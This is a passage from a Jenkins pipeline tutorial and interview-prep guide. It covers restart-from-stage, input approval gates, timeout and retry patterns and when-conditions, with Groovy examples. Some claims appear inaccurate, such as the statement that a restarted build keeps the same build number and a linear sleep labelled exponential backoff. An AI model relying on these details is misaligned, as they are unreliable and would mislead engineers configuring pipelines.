  - Restart from checkpoint: fully reliable state restoration
  - Granular: checkpoints can be inside a stage, not just at stage
boundaries
  - Pipeline template catalog: pre-defined templates with checkpoints
built in
```

🔑 Key Concepts

Concept	Meaning
Restart from Stage	Re-run a Declarative Pipeline from a specific stage
CPS state	Continuation Passing Style serialized execution state — enables resumability
Stash durability	Stashes survive pipeline restart — most reliable state transfer
`checkpoint()`	CloudBees CI feature for explicit, reliable CPS state snapshots
State loss	`env.VAR` set in `script{}` in earlier stages may not survive restart
Re-derive pattern	Re-compute values from durable sources (files, artifacts) in each stage
Durability vs restart	Higher durability = more CPS state written to disk = better restart reliability
Declarative only	Restart from Stage only works with Declarative Pipeline syntax

---

💬 Short Crisp Interview Answer

> *"Restart from Stage allows re-running a failed Declarative Pipeline from a specific stage instead of from the beginning — critical when a 40-minute pipeline fails in the last stage. It works by leveraging Jenkins' CPS serialization, which periodically writes pipeline execution state to disk. What survives the restart: stashes, archived artifacts, pipeline-level environment variables, and build parameters. What may be LOST: dynamically set `env.VAR` values from `script{}` blocks in earlier stages, since these were in-memory state and may not have been serialized. The practical mitigation: write critical state to files and stash them rather than relying on in-memory env vars across stages. The `checkpoint()` step for truly reliable state snapshots is a CloudBees CI feature, not available in open-source Jenkins. For production, I design pipelines so each stage re-derives any state it needs from durable sources — stashes, build parameters, or artifact files — making restart-from-stage safe to use."*

⚠ Tricky Edge Cases & Gotchas

- ⚠ **Restart from Stage only works on Declarative Pipelines.** Scripted Pipelines cannot use this feature. If the pipeline uses `node {}` blocks, the "Restart from Stage" button doesn't appear.
- **The restarted build REUSES the same build number.** Build #42 that failed and was restarted is still build #42 in Jenkins. This affects artifacts archived under the build number, notifications that reference the build number, and DORA metrics. Some teams find this confusing — "build #42 was green" in the dashboard, but it was green after a manual restart.
- **Stages that produced side effects in the original run DON'T roll back.** If stage 3 pushed a Docker image to a registry and you restart from stage 5, the stage-3 Docker push happened and isn't undone. Restarting from a deploy stage that half-completed could leave infrastructure in an inconsistent state. Think carefully about idempotency.
- **Post actions from skipped stages don't re-run.** If the restarted build skips the "Test" stage and that stage had `post { always { junit ... } }`, the JUnit publishing step doesn't run. Test results from the original run remain in the build record.

- `stash` **from a restarted build overwrites the original stash name.** If stage "Build" is re-run during restart, its `stash name: 'artifacts'` overwrites the stash from the first run. Usually correct — you want the new build's artifacts.

🔗 Connections to Other Topics

Connected Topic	How It Connects
Pipeline Durability (4.7)	Durability setting determines how much CPS state is written to disk
CPS Internals (2.3)	The underlying mechanism enabling restart
Stash/Unstash (3.10)	Stashes are the reliable cross-stage state transfer mechanism
Declarative Pipeline (3.2)	Restart from Stage only works with Declarative

---

Topic 4.4 — Input Steps and Manual Approval Gates

🟡 Intermediate | Human-in-the-Loop

📌 What It Is — In Simple Terms

The `input` **step** pauses a pipeline execution and waits for a human to respond — typically to approve or reject a deployment. The pipeline holds at that point, consuming no executor (the agent is released), until someone with the appropriate permissions clicks "Proceed" or "Abort" in the Jenkins UI, API, or Slack integration.

This is the mechanism for **Continuous Delivery** (not Continuous Deployment) — automated builds that require human approval before production deployment.

🔍 Why Input Gates Exist

```
CI/CD Spectrum:
  Continuous Integration     → Automated build + test
  Continuous Delivery        → Automated build + test + HUMAN APPROVES
production deploy
  Continuous Deployment      → Automated build + test + AUTO-DEPLOYS to
production

Input step implements the Continuous Delivery model:
  Every commit → CI passes → pipeline PAUSES for approval → Human says
"yes" → deploys

Why not always auto-deploy?
  - Regulatory compliance: some industries require human sign-off
(banking, pharma)
```

```
  - Business timing: technically ready but waiting for business launch
date
  - Staged canary: deploy 5% → measure → human approves full rollout
  - Context-dependent: deploy only during business hours, not Friday
evening
  - Risky changes: schema migrations, config changes, security patches
```

⚙️ Complete Input Step Syntax Reference

```
// ── BASIC INPUT ──────────────────────────────────────────────────────
stage('Deploy: Production') {
    when { branch 'main' }
    steps {
        input(
            message:   'Deploy to PRODUCTION?',    // Message shown in UI
            ok:        'Yes, Deploy',               // Text of the
"Proceed" button
            // If no submitter: ANY authenticated user can approve
            submitter: 'alice,bob,release-managers'  // Comma-separated
users/groups
        )
        sh 'helm upgrade --install myapp ./chart --namespace production'
    }
}

// ── INPUT WITH PARAMETERS (capture user choices during approval) ──
stage('Deploy: Production') {
    steps {
        script {
            // input() returns the parameter values when submitter
approves
            def approval = input(
                message:   'Configure production deployment:',
                ok:        'Deploy',
                submitter: 'release-managers',
                submitterParameter: 'APPROVED_BY',   // Capture who
approved
                parameters: [
                    choice(
                        name:        'DEPLOY_STRATEGY',
                        choices:     ['canary', 'blue-green', 'rolling'],
                        description: 'Deployment strategy'
                    ),
                    string(
                        name:        'CANARY_PERCENTAGE',
                        defaultValue: '5',
                        description: 'Initial canary traffic percentage
(1-100)'
                    ),
                    booleanParam(
```

```
                        name:         'RUN_SMOKE_TESTS',
                        defaultValue: true,
                        description:  'Run smoke tests after deploy'
                    )
                ]
            )

            // approval is a Map of parameter name → value
            echo "Approved by: ${approval.APPROVED_BY}"
            echo "Strategy:    ${approval.DEPLOY_STRATEGY}"
            echo "Canary %:    ${approval.CANARY_PERCENTAGE}"

            // Use the captured values
            sh """
                helm upgrade --install myapp ./chart \
                    --namespace production \
                    --set deployStrategy=${approval.DEPLOY_STRATEGY} \
                    --set canary.weight=${approval.CANARY_PERCENTAGE}
            """

            if (approval.RUN_SMOKE_TESTS) {
                sh './scripts/smoke-tests.sh production'
            }
        }
    }
}

// ── INPUT WITH TIMEOUT (auto-reject after N hours) ─────────────────
stage('Approval Gate') {
    steps {
        timeout(time: 24, unit: 'HOURS') {
            input(
                message:   'Production deployment waiting for approval',
                ok:        'Approve',
                submitter: 'release-managers'
            )
        }
        // If timeout expires: TimeoutException thrown
        // Pipeline fails UNLESS you catch the timeout
    }
}

// ── INPUT WITH TIMEOUT AND AUTO-ABORT (production pattern) ─────────
stage('Approval Gate') {
    steps {
        script {
            def approved = false
            try {
                timeout(time: 4, unit: 'HOURS') {
                    input(
                        message:   'Approve production deploy of ' +
                                   "${env.APP_NAME}:${env.IMAGE_TAG}?",
                        ok:        'Approve Deploy',
                        submitter: 'release-managers,sre-team'
```

```
                    )
                }
                approved = true
            } catch
(org.jenkinsci.plugins.workflow.steps.FlowInterruptedException e) {
                // User clicked "Abort" button
                echo "Deployment REJECTED by user action"
                currentBuild.result = 'ABORTED'
            } catch (Throwable e) {
                // Timeout expired — auto-reject
                echo "Deployment TIMED OUT — auto-rejecting after 4 hours"
                currentBuild.result = 'ABORTED'
            }

            if (!approved) {
                error("Production deployment not approved — aborting
pipeline")
            }
        }
    }
}
```

⚙️ Agent Efficiency — The Critical Input Step Trick

```
// ── WRONG: Input inside a stage that holds an agent ────────────────
pipeline {
    agent { label 'linux' }  // Global agent allocated for ENTIRE pipeline
    stages {
        stage('Build') {
            steps { sh 'mvn package' }
        }
        stage('Approval') {
            steps {
                // ❌ This input() holds the 'linux' agent executor for
hours
                // While waiting for approval, NO OTHER BUILD can use this
executor
                // With 24-hour timeout: 1 idle executor per pending
approval
                input 'Deploy to production?'
            }
        }
        stage('Deploy') {
            steps { sh 'helm upgrade ...' }
        }
    }
}

// ── CORRECT: Use agent none for approval stages ────────────────────
pipeline {
```

```
    agent none  // No global agent
    stages {
        stage('Build') {
            agent { label 'linux' }  // Agent allocated only for this
stage
            steps { sh 'mvn package' }
            // Agent RELEASED after this stage
        }

        stage('Approval') {
            agent none  // No agent needed for input step
            steps {
                // ✅ No executor consumed while waiting
                // The input step suspends the pipeline (CPS continuation
written to disk)
                // Executor pool is fully available for other builds
                timeout(time: 24, unit: 'HOURS') {
                    input 'Deploy to production?'
                }
            }
        }

        stage('Deploy') {
            agent { label 'deploy' }  // New agent allocated after
approval
            steps { sh 'helm upgrade ...' }
        }
    }
}
```

⚙️ External Approval Integration

```
// ── SLACK INTEGRATION: Approve from Slack ──────────────────────────
// Requires: Slack plugin + interactive Slack App

stage('Approval') {
    agent none
    steps {
        script {
            // Notify Slack with action buttons
            def slackResponse = slackSend(
                channel: '#deployments',
                message: """
*Deployment Pending Approval* 🚀
*Service:* ${env.APP_NAME}
*Version:* ${env.IMAGE_TAG}
*Environment:* Production
*Build:* <${env.BUILD_URL}|#${env.BUILD_NUMBER}>

Approve or reject below:
```

```
                """,
                blocks: [
                    [
                        "type": "actions",
                        "elements": [
                            [
                                "type": "button",
                                "text": ["type": "plain_text", "text": "✅
Approve"],
                                "style": "primary",
                                "url": "${env.BUILD_URL}input/"
                            ],
                            [
                                "type": "button",
                                "text": ["type": "plain_text", "text": "❌
Reject"],
                                "style": "danger",
                                "url": "${env.BUILD_URL}stop"
                            ]
                        ]
                    ]
                ]
            )

            // Wait for Jenkins input step (user clicks link from Slack)
            timeout(time: 4, unit: 'HOURS') {
                input(
                    message: "Deploy ${env.APP_NAME}:${env.IMAGE_TAG} to
production?",
                    ok:      'Approve',
                    submitter: 'release-managers'
                )
            }

            // Update Slack message with result
            slackResponse.addReaction("white_check_mark")
        }
    }
}

// ── JIRA INTEGRATION: Require change ticket ──────────────────────
stage('Change Management Gate') {
    agent none
    steps {
        script {
            def changeTicket = input(
                message: 'Production deployment requires a change ticket',
                ok:      'Continue with Change',
                parameters: [
                    string(name: 'CHANGE_TICKET',
                           description: 'JIRA Change ticket number (e.g.,
CHG-1234)',
                           defaultValue: '')
                ]
```

```
            )

            // Validate the ticket exists and is approved in JIRA
            withCredentials([usernamePassword(credentialsId: 'jira-
credentials',
                                              usernameVariable:
'JIRA_USER',
                                              passwordVariable:
'JIRA_PASS')]) {
                def ticketStatus = sh(
                    script: """
                        curl -s -u "\$JIRA_USER:\$JIRA_PASS" \

"https://jira.example.com/rest/api/2/issue/${changeTicket.CHANGE_TICKET}"
\
                            | python3 -c "import sys,json;
d=json.load(sys.stdin); print(d['fields']['status']['name'])"
                    """,
                    returnStdout: true
                ).trim()

                if (ticketStatus != 'Approved' && ticketStatus != 'In
Progress') {
                    error("Change ticket ${changeTicket.CHANGE_TICKET} is
not approved (status: ${ticketStatus})")
                }

                echo "Change ticket ${changeTicket.CHANGE_TICKET}
verified: ${ticketStatus} ✅"
                // Store for audit trail
                currentBuild.description = "Change:
${changeTicket.CHANGE_TICKET}"
            }
        }
    }
}
```

⚙️ Multi-Environment Progressive Approval

```
// Pipeline: Dev → Staging → Approval → Production
// Approval is environment-specific

pipeline {
    agent none

    stages {
        stage('CI') {
            agent { label 'build' }
            stages {
                stage('Build')   { steps { sh 'mvn package' } }
```

```
                stage('Test')    { steps { sh 'mvn test' } }
            }
        }

        stage('Deploy: Dev') {
            agent { label 'deploy' }
            steps {
                sh 'helm upgrade --install myapp ./chart --namespace dev'
            }
        }

        stage('Deploy: Staging') {
            agent { label 'deploy' }
            when { branch 'main' }
            steps {
                sh 'helm upgrade --install myapp ./chart --namespace
staging'
            }
        }

        stage('Integration Tests on Staging') {
            agent { label 'test' }
            when { branch 'main' }
            steps {
                sh 'mvn verify -Pintegration -Denv=staging'
            }
        }

        // APPROVAL GATE — no agent needed
        stage('Approve: Production') {
            agent none
            when { branch 'main' }
            steps {
                script {
                    // Send notification with context
                    def stagingUrl = "https://staging.example.com"
                    slackSend channel: '#releases',
                              message: "⏳ ${env.APP_NAME} waiting for
production approval\n" +
                                       "Staging: ${stagingUrl}\n" +
                                       "Approve: ${env.BUILD_URL}input/"

                    timeout(time: 8, unit: 'HOURS') {
                        def approval = input(
                            message:   "Deploy ${env.APP_NAME} to
PRODUCTION?",
                            ok:        'Deploy to Production',
                            submitter: 'release-managers,product-leads',
                            submitterParameter: 'DEPLOYER',
                            parameters: [
                                booleanParam(name: 'FULL_ROLLOUT',
                                             defaultValue: false,
                                             description: 'Full rollout
(skip canary)')
```

```
                            ]
                        )
                        env.DEPLOYER      = approval.DEPLOYER
                        env.FULL_ROLLOUT  =
approval.FULL_ROLLOUT.toString()
                    }
                }
            }
        }

        stage('Deploy: Production') {
            agent { label 'deploy' }
            when { branch 'main' }
            steps {
                sh """
                    helm upgrade --install myapp ./chart \
                        --namespace production \
                        --set image.tag=${env.BUILD_NUMBER} \
                        --set canary.enabled=${env.FULL_ROLLOUT ==
'false'} \
                        --set canary.weight=${env.FULL_ROLLOUT == 'false'
? 10 : 100} \
                        --atomic --wait
                """
                echo "Deployed by: ${env.DEPLOYER}"
            }
        }
    }

    post {
        success {
            script {
                if (env.DEPLOYER) {
                    slackSend channel: '#releases',
                              color: 'good',
                              message: "✅ ${env.APP_NAME} deployed to
production by @${env.DEPLOYER}"
                }
            }
        }
    }
}
```

🔑 Key Concepts

Concept	Meaning
`input()`	Pause pipeline and wait for human interaction
`submitter`	Comma-separated list of users/groups who can approve
`submitterParameter`	Captures the username of who approved

Concept	Meaning
`ok`	Text of the "Proceed" button
Agent release during input	With `agent none`, no executor consumed while waiting
`timeout()` + `input()`	Auto-reject after N hours — prevents infinite waiting
`FlowInterruptedException`	Exception thrown when user clicks "Abort" (not timeout)
`parameters` in input	Capture additional configuration choices during approval
Slack integration	Deep link from Slack notification to Jenkins input page

---

💬 Short Crisp Interview Answer

> *"The `input` step pauses a pipeline and waits for human approval. It's the mechanism for Continuous Delivery — automated builds that require human sign-off before production. Key configuration: `message` for what to show, `ok` for the button text, `submitter` to restrict who can approve, and `submitterParameter` to capture who actually approved for the audit trail. The most critical operational detail: always use `agent none` for the stage containing the input step. Without it, the agent executor is held idle for hours waiting for approval — blocking other builds. With `agent none`, the pipeline state is serialized to disk (CPS continuation), the executor is released back to the pool, and Jenkins re-allocates an executor when approval arrives. Always wrap `input` in a `timeout()` to auto-reject stale approvals rather than letting pipelines pend indefinitely."*

⚠ Tricky Edge Cases & Gotchas

- **⚠ Agent held during input without `agent none`.** A global `agent { label 'linux' }` pipeline with an `input` step in a stage holds that Linux agent executor for the duration of the wait. With 10 pending approvals, 10 executors are consumed doing nothing. Always use `agent none` for approval stages.
- **Input parameters return a Map, not individual variables.** When `input()` has `parameters: [...]`, the return value is a Map where keys are parameter names. With a single parameter, some developers expect a scalar — it's still a Map with one entry. Access with `approval.PARAM_NAME`.
- **`submitter` accepts users AND roles — check exact plugin behavior.** The `submitter` field accepts usernames (`alice`) and group names (`release-managers`). Group names must exactly match the group as defined in the security realm (LDAP group, Jenkins role, etc.). Mismatch means the group isn't recognized and only listed users can approve.
- **`FlowInterruptedException` vs timeout exception — different types.** Catching `FlowInterruptedException` catches the "Abort" button click. A timeout wrapper's exception is `org.jenkinsci.plugins.workflow.steps.FlowInterruptedException` too but with a different cause. The safest catch is `Throwable` with inspection, or separate try-catch blocks with `timeout()` outside and `input()` inside.
- **Jenkins restarts during input wait.** If Jenkins Controller restarts while a pipeline is waiting on `input`, the pipeline resumes after restart (durability setting permitting) and the input wait continues. The UI may show the pending input after restart. This works correctly but surprises operators who think a restart would abort pending approvals.

🔗 Connections to Other Topics

Connected Topic	How It Connects
Declarative Pipeline (3.2)	`input` is a step used within stages
Pipeline Durability (4.7)	High durability required for long-running input waits to survive Controller restart
Agent Architecture (2.1)	`agent none` pattern critical for not wasting executors during approval
Build Promotion (4.8)	Input gates are the human touchpoint in promotion pipelines
Timeout/Retry (4.5)	`timeout()` wrapping `input()` for auto-reject

Topic 4.5 — Timeout, Retry, and Resilience Patterns

🟡 Intermediate | Production-Grade Robustness

📌 What It Is — In Simple Terms

Resilience patterns in Jenkins pipelines handle the reality that builds happen in distributed, imperfect environments — flaky tests, slow external APIs, transient network failures, container startup latency, cloud provider hiccups. `timeout()` prevents builds from hanging forever. `retry()` automatically recovers from transient failures. Together with `waitUntil()`, `sleep()`, and error handling patterns, they make pipelines robust against the chaos of production infrastructure.

⚙️ timeout() — Complete Reference

```
pipeline {
    agent any

    // ── PIPELINE-LEVEL TIMEOUT ──────────────────────────────────
    // If the ENTIRE pipeline takes longer than this, it's killed
    options {
        timeout(time: 60, unit: 'MINUTES')
        // Units: NANOSECONDS, MICROSECONDS, MILLISECONDS, SECONDS,
MINUTES, HOURS, DAYS
    }

    stages {
        // ── STAGE-LEVEL TIMEOUT ─────────────────────────────────
        stage('Integration Tests') {
            options {
                timeout(time: 20, unit: 'MINUTES')  // This stage only
            }
            steps {
```

```
                sh './run-integration-tests.sh'
            }
        }

        // ── STEP-LEVEL TIMEOUT (wrapping specific steps) ──────────
        stage('Deploy') {
            steps {
                // Timeout for the entire deploy command:
                timeout(time: 10, unit: 'MINUTES') {
                    sh 'helm upgrade --install myapp ./chart --wait --
timeout=9m'
                }

                // Timeout for health check polling:
                timeout(time: 5, unit: 'MINUTES') {
                    waitUntil {
                        def status = sh(
                            script: "curl -s -o /dev/null -w '%
{http_code}' https://app.example.com/health",
                            returnStdout: true
                        ).trim()
                        return status == '200'
                    }
                }
            }
        }

        // ── TIMEOUT ON INPUT STEP (auto-reject stale approvals) ──
        stage('Approve') {
            agent none
            steps {
                timeout(time: 8, unit: 'HOURS') {
                    input message: 'Deploy to production?', ok: 'Deploy'
                }
            }
        }
    }
}
```

⚙️ retry() — Complete Reference

```
pipeline {
    agent any
    stages {

        // ── BASIC RETRY ──────────────────────────────────────────
        stage('Flaky Integration Test') {
            options {
                retry(3)  // Retry up to 3 times total (1 original + 2
retries)
```

```
            }
            steps {
                sh 'mvn verify -Pintegration'
            }
        }

        // ── RETRY SPECIFIC STEPS (not whole stage) ─────────────────
        stage('Deploy') {
            steps {
                retry(3) {
                    sh 'kubectl rollout status deployment/myapp --
timeout=60s'
                }
            }
        }

        // ── RETRY WITH SLEEP (backoff between retries) ─────────────
        stage('Wait for Service') {
            steps {
                script {
                    def maxAttempts = 5
                    def attempt     = 0
                    def success     = false

                    while (attempt < maxAttempts && !success) {
                        attempt++
                        try {
                            sh 'curl -f
https://newservice.internal/health'
                            success = true
                            echo "Service healthy after ${attempt}
attempt(s)"
                        } catch (Exception e) {
                            if (attempt >= maxAttempts) {
                                error("Service not healthy after
${maxAttempts} attempts")
                            }
                            def sleepTime = Math.min(attempt * 10, 60)  //
Exponential backoff, max 60s
                            echo "Attempt ${attempt} failed. Retrying in
${sleepTime}s..."
                            sleep(sleepTime)
                        }
                    }
                }
            }
        }

        // ── RETRY WITH TIMEOUT COMBINATION ─────────────────────────
        // timeout wraps retry: the timeout is for ALL retries combined
        // retry wraps timeout: each retry gets its own timeout
        stage('Retried Deploy') {
            steps {
                // Pattern: timeout per attempt, retry is the outer
```

```
wrapper
                retry(3) {
                    timeout(time: 5, unit: 'MINUTES') {
                        sh 'helm upgrade --install myapp ./chart --wait'
                    }
                }
                // Total max time: 3 × 5 minutes = 15 minutes across all
attempts
            }
        }
    }
}
```

⚙️ waitUntil() — Polling for Conditions

```
// waitUntil: keep re-running the block until it returns true
// Used for: health checks, service startup, external system readiness

stage('Wait for Deployment Ready') {
    steps {
        timeout(time: 10, unit: 'MINUTES') {
            waitUntil(initialRecurrencePeriod: 5000,  // First check: 5
seconds
                      quiet: true) {                   // Don't log each
iteration
                script {
                    def status = sh(
                        script: "kubectl get pods -n production -l
app=myapp -o jsonpath='{.items[*].status.containerStatuses[0].ready}'",
                        returnStdout: true,
                        returnStatus: false
                    ).trim()

                    echo "Pod readiness: ${status}"
                    return status.contains('true') &&
!status.contains('false')
                    // Returns true when ALL pods show ready=true
                }
            }
        }
        echo "All pods ready ✅"
    }
}

// waitUntil with increasing check intervals (exponential backoff):
stage('Wait for External API') {
    steps {
        timeout(time: 5, unit: 'MINUTES') {
            // initialRecurrencePeriod: first wait time (ms)
            // maxRecurrencePeriod: max wait between checks (ms, default
```

```
~10m)
            waitUntil(initialRecurrencePeriod: 2000,
                      maxRecurrencePeriod: 30000) {  // Max 30s between
checks
                def code = sh(
                    script: "curl -s -o /dev/null -w '%{http_code}'
https://external-api.example.com/status",
                    returnStdout: true
                ).trim()
                return code == '200'
            }
        }
    }
}
```

⚙️ Resilience Patterns — Production Recipes

```
// ── PATTERN 1: Flaky Test Quarantine ──────────────────────────────
// Run known-flaky tests separately with retry; fail build only on
consistent failure

stage('Tests') {
    parallel {
        stage('Stable Tests') {
            steps {
                sh 'mvn test -Pstable-tests'
            }
        }
        stage('Flaky Tests') {
            options {
                retry(3)  // Retry flaky tests up to 3 times
            }
            steps {
                sh 'mvn test -Pflaky-tests'
            }
            post {
                failure {
                    // Mark build unstable (not failed) if flaky tests
consistently fail
                    script {
                        unstable('Flaky tests failed after retries —
investigate')
                    }
                }
            }
        }
    }
}

// ── PATTERN 2: External Service Dependency with Graceful Degradation
```

```
stage('Integration with External API') {
    steps {
        script {
            def externalAvailable = false
            try {
                timeout(time: 30, unit: 'SECONDS') {
                    sh 'curl -f --max-time 25 https://external-
api.example.com/health'
                }
                externalAvailable = true
            } catch (Exception e) {
                echo "⚠ External API unavailable: ${e.message}"
                echo "Skipping external integration tests — marking as
unstable"
                unstable('External API unavailable — integration tests
skipped')
            }

            if (externalAvailable) {
                sh 'mvn verify -Pexternal-integration'
            }
        }
    }
}

// ── PATTERN 3: Infrastructure Provisioning with Retry + Backoff ───
stage('Provision Test Environment') {
    steps {
        script {
            def provisionSuccess = false
            def maxRetries = 4
            def baseWait = 15  // seconds

            for (int i = 0; i < maxRetries; i++) {
                try {
                    sh """
                        terraform apply -auto-approve \
                            -var="env=test-${env.BUILD_NUMBER}" \
                            test-environment/
                    """
                    provisionSuccess = true
                    break
                } catch (Exception e) {
                    if (i == maxRetries - 1) {
                        error("Infrastructure provisioning failed after
${maxRetries} attempts: ${e.message}")
                    }
                    def waitTime = baseWait * Math.pow(2, i).toInteger()
// 15, 30, 60 seconds
                    echo "Provisioning attempt ${i+1} failed. Waiting
${waitTime}s before retry..."
                    sh "terraform destroy -auto-approve -
var='env=test-${env.BUILD_NUMBER}' test-environment/ || true"
                    sleep(waitTime)
```

```
                }
            }
        }
    }
}

// ── PATTERN 4: Helm Deploy with Automatic Rollback on Timeout ──────
stage('Production Deploy') {
    steps {
        script {
            try {
                timeout(time: 8, unit: 'MINUTES') {
                    sh """
                        helm upgrade --install myapp ./chart \
                            --namespace production \
                            --set image.tag=${env.BUILD_NUMBER} \
                            --wait \
                            --timeout=7m \
                            --atomic  # --atomic: auto-rollback on failure
✅
                    """
                }
            } catch (Exception e) {
                echo "❌ Deploy failed: ${e.message}"
                echo "Helm --atomic should have auto-rolled back"

                // Verify rollback state
                sh 'helm history myapp --namespace production --max 3'

                // Alert
                slackSend channel: '#production-alerts',
                          color:   'danger',
                          message: "🚨 Production deploy FAILED and rolled
back: ${env.APP_NAME} ${env.BUILD_NUMBER}"
                throw e
            }
        }
    }
}

// ── PATTERN 5: Lock Contention with Retry ──────────────────────────
// Use Lockable Resources plugin to prevent concurrent deploys to same env
stage('Deploy: Staging') {
    steps {
        // If lock is taken, wait up to 15 minutes
        lock(resource: 'staging-environment',
             inversePrecedence: true,
             quantity: 1) {
            sh 'helm upgrade --install myapp ./chart --namespace staging'
            sh './smoke-tests.sh staging'
        }
    }
}
```

🔑 Key Concepts

Concept	Meaning
`timeout(time, unit)`	Kill the wrapped block if it exceeds duration
`retry(N)`	Re-run the block up to N total times on failure
`waitUntil {}`	Poll a condition until it returns `true`
`sleep(N)`	Pause for N seconds
Pipeline-level timeout	In `options {}` — kills the entire pipeline after N time
Stage-level timeout	In stage's `options {}` — kills just that stage
Step-level timeout	`timeout() {}` wrapping specific steps
`timeout` wraps `retry`	Timeout budget shared across ALL retries
`retry` wraps `timeout`	Each retry gets its own fresh timeout
`--atomic` in Helm	Auto-rollback if `helm upgrade` fails (Helm's own retry)
Exponential backoff	Increasing wait between retries — reduces thundering herd on failing services

---

💬 Short Crisp Interview Answer

> *"Resilience patterns make pipelines robust against transient failures. `timeout()` prevents builds from hanging — configure it at pipeline level in `options` for the total budget, at stage level for expensive stages, and step-level for specific operations like health checks. `retry(N)` automatically re-runs a block on failure — good for flaky tests, container startup, and cloud API calls. A critical decision: does `timeout` wrap `retry` or vice versa? Timeout-wraps-retry means the total budget is shared across all retries; retry-wraps-timeout means each attempt gets its own fresh timeout. For most cases, retry-wraps-timeout is safer — you don't want one slow attempt eating the entire timeout budget. `waitUntil {}` is the right tool for polling-style waits — 'keep checking until the service responds 200' — with configurable check intervals. Always pair `waitUntil` with `timeout` to bound the total wait."*

⚠ Tricky Edge Cases & Gotchas

- ⚠ **`retry(3)` means 3 TOTAL attempts, not 3 additional retries.** The original attempt is #1. So `retry(3)` gives you the first attempt plus 2 retries. Many developers write `retry(3)` expecting 3 retries after failure — that's `retry(4)`.
- **`timeout()` wrapping `retry()`: the timeout budget is consumed across ALL retries.** If you write `timeout(time: 10, unit: 'MINUTES') { retry(3) { sh 'slow-command' } }` and each attempt takes 4 minutes, the timeout fires mid-2nd retry (after 8 minutes + starting 3rd

attempt). If your intent is "3 retries each with 10 minutes," write `retry(3) { timeout(time: 10, unit: 'MINUTES') { ... } }`.

- **Pipeline-level `options { timeout() }` kills the ENTIRE pipeline** including any `input` step. If you have a 24-hour approval gate and a 1-hour pipeline timeout, the approval will never succeed. Set pipeline timeout large enough to accommodate the longest possible `input` wait, or don't set pipeline-level timeout when you have long-running input steps.
- **`retry()` doesn't reset the stage status.** If stage "Test" fails on attempt 1 and succeeds on attempt 3, the stage visualization may show "retry successful" but the stage was technically failure-then-success. JUnit results from all attempts accumulate.
- **`waitUntil` without `timeout` runs indefinitely.** If your condition never becomes true (service never starts), the build hangs forever. ALWAYS wrap `waitUntil` in `timeout`.

🔗 Connections to Other Topics

Connected Topic	How It Connects
Declarative Pipeline (3.2)	`options { timeout, retry }` are Declarative directives
Input Steps (4.4)	Timeout wrapping input is the auto-reject pattern
Parallel Stages (3.7)	`failFast` is a parallel-specific resilience pattern
Pipeline Durability (4.7)	Long `waitUntil` loops require durable pipeline state
Scripted Pipeline (3.3)	Scripted uses `try-catch` for error handling vs Declarative `retry`

Topic 4.6 — When Conditions and Conditional Execution

🟡 Intermediate | Smart Pipeline Routing

📌 What It Is — In Simple Terms

`when` conditions control whether a stage executes, based on branch name, environment variables, parameter values, changed files, or arbitrary Groovy expressions. They let a single Jenkinsfile implement branch-aware behavior — feature branches get a lightweight CI pipeline, `main` gets full CI + staging deploy, release branches get the full pipeline plus production gate.

⚙️ Every `when` Condition — Complete Reference

```
pipeline {
    agent any

    // ── BRANCH CONDITIONS ──────────────────────────────────────────
    stage('Deploy: Staging') {
```

```
        when {
            branch 'main'         // Exact match
        }
        steps { sh 'deploy staging' }
    }

    stage('Deploy: Release') {
        when {
            branch pattern: 'release/.*', comparator: 'REGEXP'
            // comparator: 'EQUALS' (default), 'REGEXP', 'GLOB'
        }
        steps { sh 'deploy release' }
    }

    stage('PR Only') {
        when {
            changeRequest()   // This build is a Pull Request
            // changeRequest target: 'main'      // PR targeting main
            // changeRequest author: 'alice'     // PR by alice
            // changeRequest branch: 'feature/*' // PR from feature branch
            // changeRequest fork: true/false    // Fork PR or not
        }
        steps { sh 'run PR-specific checks' }
    }

    stage('Tag Build Only') {
        when {
            tag 'v*'            // Build was triggered by a git tag
            // tag pattern: 'v\\d+\\..*', comparator: 'REGEXP'
        }
        steps { sh 'create release' }
    }

    // ── ENVIRONMENT CONDITIONS ──────────────────────────────────
    stage('Production Deploy') {
        when {
            environment name: 'TARGET_ENV', value: 'production'
            // Checks that env.TARGET_ENV == 'production'
        }
        steps { sh 'deploy production' }
    }

    // ── EXPRESSION CONDITIONS (Groovy boolean) ──────────────────
    stage('Skip If Tests Already Passed') {
        when {
            expression {
                // Any Groovy expression returning boolean
                return params.SKIP_TESTS == false
            }
        }
        steps { sh 'mvn test' }
    }

    stage('Run Only on Business Hours') {
```

```
        when {
            expression {
                def hour =
Calendar.getInstance().get(Calendar.HOUR_OF_DAY)
                return hour >= 9 && hour <= 18  // 9am-6pm only
            }
        }
        steps { sh 'deploy' }
    }

    // ── FILE/CHANGESET CONDITIONS ──────────────────────────────
    stage('Rebuild Docker Only if Dockerfile Changed') {
        when {
            anyOf {
                changeset 'Dockerfile'
                changeset 'src/**'               // Any file under src/
                changeset pattern: '.*\\.java$', comparator: 'REGEXP'
            }
        }
        steps { sh 'docker build ...' }
    }

    // ── TRIGGER CONDITIONS ─────────────────────────────────────
    stage('Only on Manual Trigger') {
        when {
            triggeredBy cause: 'UserIdCause'   // Triggered by a human
        }
        steps { sh 'special-manual-task' }
    }

    stage('Only on Schedule') {
        when {
            triggeredBy cause: 'TimerTriggerCause'  // Cron trigger
        }
        steps { sh 'scheduled-scan' }
    }

    stage('Only on Upstream Trigger') {
        when {
            triggeredBy cause: 'UpstreamCause'
        }
        steps { sh 'downstream-processing' }
    }

    // ── BOOLEAN COMBINATORS ────────────────────────────────────
    stage('allOf: ALL conditions must be true') {
        when {
            allOf {
                branch 'main'
                environment name: 'CI', value: 'true'
                expression { return currentBuild.previousBuild?.result ==
'SUCCESS' }
            }
        }
```

```
        steps { sh 'deploy' }
    }

    stage('anyOf: AT LEAST ONE must be true') {
        when {
            anyOf {
                branch 'main'
                branch 'release/*'
                expression { return params.FORCE_DEPLOY == true }
            }
        }
        steps { sh 'deploy' }
    }

    stage('not: NEGATE condition') {
        when {
            not {
                anyOf {
                    branch pattern: 'dependabot/.*', comparator: 'REGEXP'
                    branch pattern: 'renovate/.*', comparator: 'REGEXP'
                }
            }
        }
        steps { sh 'security-scan' }  // Skip for Renovate/Dependabot PRs
    }
}
```

⚙️ beforeAgent and beforeInput — Critical Performance Optimization

```
// ── beforeAgent: evaluate `when` BEFORE allocating agent ──────────
// Default behavior: when condition evaluated AFTER agent allocated
// With beforeAgent: true — agent allocated ONLY if when condition passes

pipeline {
    agent none

    stages {
        stage('Production Deploy') {
            // ✅ Agent only allocated if branch is 'main'
            // Without beforeAgent: agent allocated even for feature
branches,
            // then immediately released when when{} evaluates false
            when {
                beforeAgent true   // ← CRITICAL for agent efficiency
                branch 'main'
            }
